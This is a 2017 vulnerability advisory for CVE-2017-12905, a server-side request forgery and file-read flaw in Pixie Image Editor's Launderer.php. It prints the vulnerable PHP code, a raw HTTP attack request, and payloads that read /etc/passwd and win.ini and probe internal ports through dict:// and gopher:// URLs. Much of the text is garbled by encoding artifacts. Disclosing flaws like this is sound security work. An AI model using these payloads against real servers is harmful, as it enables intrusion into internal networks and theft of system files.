Pixie image Editor SSRF vulnerability for CVE-2017-12905 title: Pixie image Editor SSRF vulnerability for CVE-2017-12905 Date: 20/09/2017 Vulnerability TypePSo SSRF(Server Side Request Forgery) Vendor of ProductPSo vebtoPS"vebto.comPS(c) Attack TypePSo Remote ImpactPSo Importent AuthorPSoBeiJing Baimaohui technology co., LTD. VersionPSo Pixie Image Editor 1.4 and 1.7 CVE-ID : CVE-2017-12905 ==========Detail========== I found "Pixie Image Editor" a vulnerabilityPS!this vulnerability allow remote attacks to arbitrary files readPS!scan network portPS!information detection,attack internal network vulnerable!-s serverPS!may even cause a remote command execution. In the `Launderer.php` file did not send to the POST of the url parameter to filter is introduced into the curl_exec or file_get_contents, resulting in SSRF holes or arbitrary files read. Flaws in the codePSo if (isset($_POST['url'])) { $url = $_POST['url']; $mime = pathinfo($url, PATHINFO_EXTENSION); if (function_exists('curl_version')) { $handle = curl_init(); curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false); $data = curl_exec($handle); curl_close($handle); } else { $data = file_get_contents($url); } $imageData = base64_encode($data); $formatted = 'data: '.$mime.';base64,'.$imageData; echo $formatted; } I've been tested success of "Pixie Image Editor" 1.4 and 1.7 version. ==========Attack vector========== POST /pixie/launderer.php HTTP/1.1 Host: 127.0.0.1:8989 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 21 Connection: close Upgrade-Insecure-Requests: 1 url=file:///c:/windows/win.ini ![](./3333.jpg) ![](./4444.jpg) modify the above url parameterPS!examplePS!file: request http protocol: url=http://123.test.clogs.ml request https protocol: url=https://www.google.com request ftp protocol: url=ftp://123.test.clogs.ml file readPSourl=file:///etc/passwd or url=file:///c:/windows/win.ini ![](./1111.jpg) ![](./2222.jpg) If the curl correlation function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/file!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol scan prot,example: url=dict://127.0.0.1:3306 use gopher protocol: url=gopher://127.0.0.1:3306 this vulnerability trigger need allow_url_fopen option is enable in php.iniPS!allow_url_fopen option defualt is enable. ==========Timeline========== 2017-08-17 Found Pixie editor's vulnerability. 2017-08-18 Submit vulnerability information to Vendor. 2017-08-18 Submit CVE-ID request 2017-09-20 Vendor no response, Public vulnerability information Best wishes! BeiJing Baimaohui technology co., LTD. http://www.baimaohui.net & https://www.fofa.so service@baimaohui.net